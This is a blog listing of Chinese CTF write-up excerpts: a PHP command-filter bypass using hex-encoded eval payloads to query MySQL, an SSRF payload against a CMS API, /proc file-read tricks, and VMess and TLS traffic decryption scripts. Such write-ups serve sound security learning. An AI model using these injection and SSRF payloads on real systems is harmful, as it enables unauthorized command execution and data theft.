2024 CISCN WP

simple_php 先看代码 <?php ini_set('open_basedir', '/var/www/html/'); error_reporting(0); if(isset($_POST['cmd'])){ $cmd = escapeshellcmd($_POST['cmd']); if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { system($cmd); } } show_source(__FILE__); ?> open_basedir限制了访问路径,但是对system等命令执行函数是无效的,因此先不管。 再来看一下escapeshellcmd 简单来说就是会对上述字符进行转义,引号会在成对的时候被ban掉 继续往下看正则,当时队友试出了几个能用的,其中包括ps -e,base32。后面看其他师傅的wp还有rev,paste等文件读取的指令,后面发现还可以用%0a绕过函数过滤,这里也记录学习一下。 不过试来试去都没发现flag,但是在/etc/passwd发现了个mysql 之前西湖论剑的经验让我第一反应是udf提取,但没法执行或者连接mysql,所以只能另寻他法。后面找到了个-e参数能够执行sql指令 结合上面没找到flag文件,因此猜测flag在数据库里。但是-e参数后面跟的内容是要带引号的,所以还是得找到来绕过引号的办法。而且只执行是不行的,还得把内容输出出来,这里就得再套一层echo和反引号,也就是 echo `mysql -uroot -proot -e 'show databases;'`; 想起来php还有个-r参数能不带引号执行指令 直接上 php -r eval($a=1;print_r($a)); 在kali尝试是可以的,这里还得想办法往-r后面塞指令。既然绕过不行,那就编码,第一反应就是当时队友试出的base32,但是没找到php中有对应的函数可以解,于是就想到了16进制,可以把16进制编码后的指令用hex2bin解码,再把解码出来的东西给eval执行,到这步我们的payload就变成了 php -r eval(hex2bin(6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B)); 执行后出现报错 分析原因是因为把数字开头的16进制当成数字型数据而不是字符串了,所以在最前面随便加个非数字的字符,用substr截断一下就行 php -r eval(hex2bin(substr(_6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B,1))); 可以读库了,后面就正常查表即可 easy_cms 和网上一些师傅的审计不太一样,我当时写出来是队友找到了这个接口 对于fuzz了半天没试出什么东西的我断定可控接口肯定只有这几个…..于是去搜索有哪些文件调用了这几个接口 在/dayrui/Fcms/Core/Helper.php找到下面这段 明显thumb和text可控,但还是不知道这里的thumb传入进去后在哪处理,后面才在/dayrui/Fcms/Control/Api/Api.php找到下面这段对thumb参数的解析 结合后来队友告诉我发现的dr_catcher_data函数存在curl调用 因此推断这里存在ssrf,去访问题目描述给出的flag.php 这里直接构造payload就是 ?s=api&c=api&m=qrcode&thumb=http://127.0.0.1/flag.php?cmd=ls&text=100 但是这样打过去会发现并没有反应,因为没有回显的地方,因此这里只能用curl请求外带,起一个vps搭一个php服务,分别写1.php和2.php两个文件(记录一下队友教的php一句话简易服务:php -S 0.0.0.0:9999 -t . ) ...

May 28, 2024 · 1 min · Red

2024 CISCN校内选拔赛WP

MISC readme 方法1: 非常简单易懂的代码。直接过滤了flag.txt,以及相当于过滤了/proc/self/fd (更多关于/proc的内容看这里) 这里的奇技淫巧在于/dev/stdin、/dev/stdout、/dev/stderr,即标准输入、标准输出、标准错误与/proc/self/fd间的链接。我们可以在kali里尝试一下下面这句指令 ls -l /dev/stdin /dev/stdout /dev/stderr lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stderr -> /proc/self/fd/2 lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdin -> /proc/self/fd/0 lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdout -> /proc/self/fd/1 在本地修改一下server.py,在with块中加上一个print(f.fileno()),起一个docker(因为给了docker-compose.yml,所以直接docker-compose up -d就行),nc连接本地起的服务后就能看到输出了一个数字,这个数字就是flag打开的fd,因此payload:/dev/stdin/../数值 方法2: 这种方法同样要起本地自己起docker,思路就是通过 proc 文件系统来尝试读取内存。如果没有 0x100 字节的限制的话就可以直接在 /proc/self/maps 中读取 flag.txt 的位置,然后再通过 /proc/self/map_files/… 进行读取。但实际上 maps 输出不到 flag.txt 的位置,所以就要想一些其他办法来得到它的地址。 可以在/proc/self下看到类似的内容。当然这是在本地起的docker中,去除掉了0x100的限制 /proc/self/map_files/558c0a022000-558c0a023000 /usr/local/bin/python3.11 /proc/self/map_files/558c0a023000-558c0a024000 /usr/local/bin/python3.11 /proc/self/map_files/558c0a024000-558c0a025000 /usr/local/bin/python3.11 /proc/self/map_files/558c0a025000-558c0a026000 /usr/local/bin/python3.11 /proc/self/map_files/558c0a026000-558c0a027000 /usr/local/bin/python3.11 /proc/self/map_files/7f9ee08ed000-7f9ee08ef000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so /proc/self/map_files/7f9ee08ef000-7f9ee08f1000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so /proc/self/map_files/7f9ee08f1000-7f9ee08f3000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so /proc/self/map_files/7f9ee08f3000-7f9ee08f4000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so /proc/self/map_files/7f9ee08f4000-7f9ee08f5000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so /proc/self/map_files/7f9ee0b5b000-7f9ee0b62000 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache /proc/self/map_files/7f9ee0b62000-7f9ee0bb9000 /usr/lib/locale/C.utf8/LC_CTYPE /proc/self/map_files/7f9ee0bbb000-7f9ee0bcb000 /usr/lib/x86_64-linux-gnu/libm.so.6 /proc/self/map_files/7f9ee0bcb000-7f9ee0c3e000 /usr/lib/x86_64-linux-gnu/libm.so.6 /proc/self/map_files/7f9ee0c3e000-7f9ee0c98000 /usr/lib/x86_64-linux-gnu/libm.so.6 /proc/self/map_files/7f9ee0c98000-7f9ee0c99000 /usr/lib/x86_64-linux-gnu/libm.so.6 /proc/self/map_files/7f9ee0c99000-7f9ee0c9a000 /usr/lib/x86_64-linux-gnu/libm.so.6 /proc/self/map_files/7f9ee0c9a000-7f9ee0cc0000 /usr/lib/x86_64-linux-gnu/libc.so.6 /proc/self/map_files/7f9ee0cc0000-7f9ee0e15000 /usr/lib/x86_64-linux-gnu/libc.so.6 /proc/self/map_files/7f9ee0e15000-7f9ee0e68000 /usr/lib/x86_64-linux-gnu/libc.so.6 /proc/self/map_files/7f9ee0e68000-7f9ee0e6c000 /usr/lib/x86_64-linux-gnu/libc.so.6 /proc/self/map_files/7f9ee0e6c000-7f9ee0e6e000 /usr/lib/x86_64-linux-gnu/libc.so.6 /proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 /home/ctf/flag.txt /proc/self/map_files/7f9ee0e7d000-7f9ee0f6b000 /usr/local/lib/libpython3.11.so.1.0 /proc/self/map_files/7f9ee0f6b000-7f9ee111f000 /usr/local/lib/libpython3.11.so.1.0 /proc/self/map_files/7f9ee111f000-7f9ee1202000 /usr/local/lib/libpython3.11.so.1.0 /proc/self/map_files/7f9ee1202000-7f9ee1231000 /usr/local/lib/libpython3.11.so.1.0 /proc/self/map_files/7f9ee1231000-7f9ee1362000 /usr/local/lib/libpython3.11.so.1.0 /proc/self/map_files/7f9ee13a7000-7f9ee13a8000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /proc/self/map_files/7f9ee13a8000-7f9ee13cd000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /proc/self/map_files/7f9ee13cd000-7f9ee13d7000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /proc/self/map_files/7f9ee13d7000-7f9ee13d9000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /proc/self/map_files/7f9ee13d9000-7f9ee13db000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 被连接到 flag.txt。 但是这个文件名似乎不是一个固定值,因此我们需要猜测这个文件名。通过搜索后发现它写在 /proc/self/maps 中,并且在 /proc/self/syscall 中找到了一个类似的地址。下面是在题目给的远程环境中的看到的 ...

May 12, 2024 · 19 min · Red

友谊赛WP

wp发布时服务器正在维护,可能无法打开平台,明天就能重新进入平台 MISC 维多利亚的秘密(作者:hayneschen) 两个附件,压缩包需要密码打不开,试试伪加密,行不通那就先放一边,找找图片有没有线索 拿到图片常规对图片进行 010 检查,找隐写,发现都没有 简介中说到 海盗们都喜欢把宝藏的钥匙藏在海底下~ 那就应该联想到图片下方还有内容没显示完全 图中 07 E0 代表 PNG 图像的长,02 90 代表 PNG 图像的高,那随便把高修改一下就能发现海底藏着一个二维码 扫描二维码发现文本开头是 data:image/png;base64 找到 base64 转图片 找到解压密码,解压后得到flag.txt和is_me! flag 打开发现被骗了,真正的宝藏在is_me! 中 没有后缀怎么办,010 看看呗 PK 开头,妥妥的 zip,先改 zip 解压试试看,很顺利解压出来了 这内容一看就是 word 文档,不应该用 zip 解压,把文件改为.docx 后缀打开 移除表面的照片后全选文件改一下颜色就能发现一串二进制 把 0 用空格换掉得到 新型终端 一个wasm文件,可以自己从官方github项目上查手册搭一个,这里用wmctf曾出现过的题,套上去搭一个就行 base64 flag得到 H4sIAAAAAAAAA/MLDnYOcatOSTMyszAzstA1STIy0TUxTTLWTUpMMtc1MzexSEw1M0xMM0irBQAyahiTLAAAAA== 卫继龚的电动车 根据提示,短的为0,长度为1,得到:0111010010101010011000100 这道题是PT224X,地址位长度为20bit,后4位为数据位,因此截取前20位即可 flag为:xujc{01110100101010100110} 光线追踪 附件是个ELF,扔到IDA中,发现像是个迷宫题: 找到迷宫坐标数据将其提取出来,比较长这里就不贴了,每组坐标都是[x,y,z]的形式,如前三个是: [105, 120, 30] [75, 90, 30] [135, 90, 30] 因为是三维坐标,所以肯定不是平面能看出来的,我们转战到3d软件中建模呈现坐标,我这里用的是unity。 ...

April 29, 2024 · 10 min · Red

2024第三次线上赛wp

MISC 卫继龚的日常 将题目中的图片抠出来,放进谷歌,识别出是日本横滨北仲桥。 根据题意附近应该有JR地铁站,继续谷歌地图,发现附近有JR樱木町站。 根据题意,接着找附近的商店街。谷歌一下,附近有野毛小路商店街。 同时寻找日本知名的一元店,百度到了几个日本知名品牌。 如果你是这样做或是以类似思路做的,那么此时你的思路和寻找方向已经偏了。 最关键的原因,还是审题不完全。关键词:5分钟就能到地铁。仔细看题目图片,假设图片是在上下班路途上拍的,那么他必然要经过北仲桥。如果他是从家到地铁经过的北仲桥,那么他家附近的商店街应该在北仲桥附近,而野毛商店街的位置是相反方向。也就是说我应该去找北仲桥附近的商店街,但是找了一圈,没有发现很知名的商店街。 此时,假如北仲桥是在作者公司附近呢?樱木町站是作者公司附近的地铁站,因此题目图片中,加了一句:“只需要坐5分钟地铁”。 以樱木町站为起点,5分钟的车程,大致1-2站。继续谷歌,找到JR东日本的路线图。 根岸线樱木町站,5分钟车程,前后不会超过2站,分别是石川町、关内、横滨、东神奈川。 以这4个站,再结合谷歌出来的横滨知名商店街 继续谷歌地图 在横滨站附近寻找,一无所获 关内站附近发现伊势佐木町商店街。 依次谷歌日本知名的百元品牌,输入CanDo终于发现目标 使用谷歌街景 Project-X 题目给了一个 pcapng 的流量包文件,在分析前先来过一下Vmess协议下数据包加密过程(官方配置文档、通信协议文档) 假设有如下网络拓补 此时用户在配置好代理软件后使用vmess协议进行通信,在浏览器中使用google,发起了一个下面这样的数据包(1.1.1.1是用户ip,1145是用户发起请求端口) 为了方便画图,以上数据包所有内容都包含在请求包体中。此时数据包会被交给代理软件,vmess协议会在数据包前加上一个用来加密该数据包的加密方式 vmess允许用户自定义加密包体的方式,一般会在配置页面选择auto。这里我们假设使用AES-128-GCM加密,这样请求包体的内容就会被加密成无规则的字节流,被加密后包体就变成这样(遮挡部分表示被加密,后面使用的颜色不同表示加密方式不同) 接着会根据用户在配置文件中使用的用户id进行AES-128-CFB加密,将包体加密方式这部分也加密起来(下面是官方文档给的加密方式,看不懂也没事,只要知道会用一个特定的值与用户id进行加密运算,将这部分给搞糊) 并且会在前面加上当前时间戳与用户id的md5值作为一个验证值,此时整个数据包就是这个样子 最后拼接上代理服务器的ip地址与端口,就变成了这样 当数据包来到防火墙时,由于请求包体被完全加密,防火墙无法识别出用户意图,且代理服务器不在防火墙黑明单,于是就会放行数据包。代理服务器拿到数据包后,会先开一个大小为30~90左右的数组,对当前时间戳的+-30秒进行逐个的md5校验,当数据包中携带的校验值与数组中某个值匹配后,就会认定该数据包为有效数据包,于是对后面被加密的两个部分进行解密。解密后就重新拿到了下面这个数据包 接着再进行一层解密,就能得到我们的请求意图。这便是最原始的vmess协议通信过程。这里有一个配置信息我们没有说到,就是额外id。其实额外id的存在就是为了防止在同一时间段内发送大量数据包导致校验值重复,比如原本校验值是md5(11451),当额外id为1时就有md5(11452),以此类推。但这种验证方式也有局限性,在实际使用中已被发现存在被重放攻击的风险,具体可以看这篇,下面是官方文档对这一风险的应对手段 VMessMD5 被弃用的原因是因为它能够被很容易地通过主动探测的手段检测到,见上面提到的那篇 v2ray-core#2523。 简单来说就是使用AEAD认证的方式取代我们上述的md5验证值。这样即便防火墙试图修改被加密的数据包,被修改的数据包发送到代理服务器后也会被丢弃,就能避免重放攻击的风险。置方式也很简单,就是将额外id设置为0。而在最新版v2ray-core中,已经对vmess协议强制使用AEAD认证 介绍完vmess协议的通信原理后,再来看看赛题。这道题就是AEAD 的加密方式 用wireshark翻流量可以得到一个 v2ray 的 json 配置文件,也是从这里确定了是VMess流量分析 解密流量有两种方法,一种是通过阅读代码来自己实现解密,另一种是通过重放流量来获取明文。 关于协议的部分实现,可以参考 extra-VMessAEADdoc.zip 但是协议的最终实现还是需要参考 v2ray-core 的源码,因为有些地方的实现和文档中的描述不一致。 这里我们可以使用一个专门用来解析AEAD认证的库,并使用其编写一段exp import uuid from vmess_aead.encoding import VMessBodyEncoder from vmess_aead.headers.request import VMessAEADRequestPacketHeader from vmess_aead.utils.reader import BytesReader data = "a49502ee07ffdd20f11597e961f7768b41be7bc32030107fc81f235f72ff1b294d074ade94281242412b4c19123b15250ac3d5ad9524df9acd0ee5f6dcca7b0c2849b2f4df20190dd084c01c3f6e2834dd87cb8e97fa178b2ec454755f89d9b735ae6dab9c7989cf4154f7eae53774d9d6cdb55d0a76fdaf21e08bae26e49cbb3c56d11a3fe540454bfbae06305460301caca4109df3335b0c3646b6e2d856a927f9298b87da3a7cf3cffcca6c27259fc055faa9f3155cc95f698bb37436008783b6cd03d38a8e109f78a48c860b600fcbe825cd6c6a5be2c95fce121df574c70fe62e4f24e28de5983db6c3c0192d72ec785b6d58c4b8301c4f70eab683" data = bytes.fromhex(data) reader = BytesReader(data) user_id = uuid.UUID("f3a5cae3-6bd2-40d1-b13b-2cc3d87af2c7") header = VMessAEADRequestPacketHeader.from_packet(reader, user_id) print(header) encoder = VMessBodyEncoder( header.payload.body_key, header.payload.body_iv, header.payload.options, header.payload.security, header.payload.command, ) body = encoder.decode_once(reader) print(body) ...

April 7, 2024 · 35 min · Red

2024第二次线上赛WP

MISC GIF 简单的二维码,可以使用WPS把每帧分离保存,按顺序拼接,最后扫码获取flag 重生之我在嘉庚当黑客 flag格式改成xujc即可 洋葱二维码 code128、QR code、Maxicode、Aztec code、PDF417、汉信码之类的交替着试,二维码套娃。总之,用中国编码和https://demo.dynamsoft.com/barcode-reader/轮着试就行 SSL HTTPS流量,给了sslkey.log 首先使用sslkey解密包内容,编辑>首选项>Protocols>TLS 过滤出GET请求的包 http.request.method==GET 这些包的URL中有个参数名是:kcahsni 取出这些包的kcahsni的值,数量不多,可以手工取出来,也可使用Tshark取出来 tshark -r capture.pcap -o 'ssl.keylog_file:sslkey.log' -Y 'http contains "GET /searchbyimage"' -T fields -e http.request.uri.query.parameter > outdata.txt image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D82290383-7480-487c-b78b-77ac769c56cd%26kcahsni%3D9ef773fe97f56554a3b4,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D8bd542b5-2056-489e-bc1c-4f028ef27894%26kcahsni%3D26cd07e1f71df3dcee9f,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De76528cd-17d3-490a-be20-2d817ccee04e%26kcahsni%3D1eaf89725ab93968fc52,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D491c01dd-f1a3-43c3-b3c8-30c4ab73ff4b%26kcahsni%3Df03c0a7d653539616433,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Deeed4c5d-8a5f-4b8c-a12d-a2ef007e09e2%26kcahsni%3D66333861303164636130,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Db69d43cd-ac86-4b20-acc6-6a441d94ae3e%26kcahsni%3D30663937353965366432,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De56bc952-42c2-4631-96ee-e2e7cac51406%26kcahsni%3D30353331373634326335,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dece42ab1-a9d1-44df-a0b5-6b7e83aa9cd0%26kcahsni%3D34323166636461643033,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D71ad1cf6-a31a-4694-812b-9ea5db6e3cad%26kcahsni%3D34656265373037376332,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D1b3c7025-b1a8-477f-9d16-89c254af258a%26kcahsni%3D62646464343732627b41,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D64ac599c-e5ac-43bc-a2e0-0447257cd5bc%26kcahsni%3D534e490b3295c3d06c24,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dd8af7f01-5b92-4ad3-8c80-c6af467eac30%26kcahsni%3Df2a8c7e8936667dbf7fe,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D01b77323-6be9-4abd-b427-9f09d992a4df%26kcahsni%3Dce28456a0fd24ac21ec6,encoded_image=,image_content=,filename=,hl=fr image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D3f3e4f2f-5d92-4d3a-8ce8-f11943b42df3%26kcahsni%3Da12e3efe4b,encoded_image=,image_content=,filename=,hl=fr 使用Python处理一下,最后结果需要逆序一下 #Written by: mochu7 import binascii from urllib.parse import unquote flag=b'' with open('./outdata.txt') as f: for line in f.readlines(): line = unquote(line) hexdata = line[line.find('kcahsni=')+8:line.find(',')] hexstring = binascii.unhexlify(hexdata) flag += hexstring print(flag[::-1]) ...

March 30, 2024 · 4 min · Red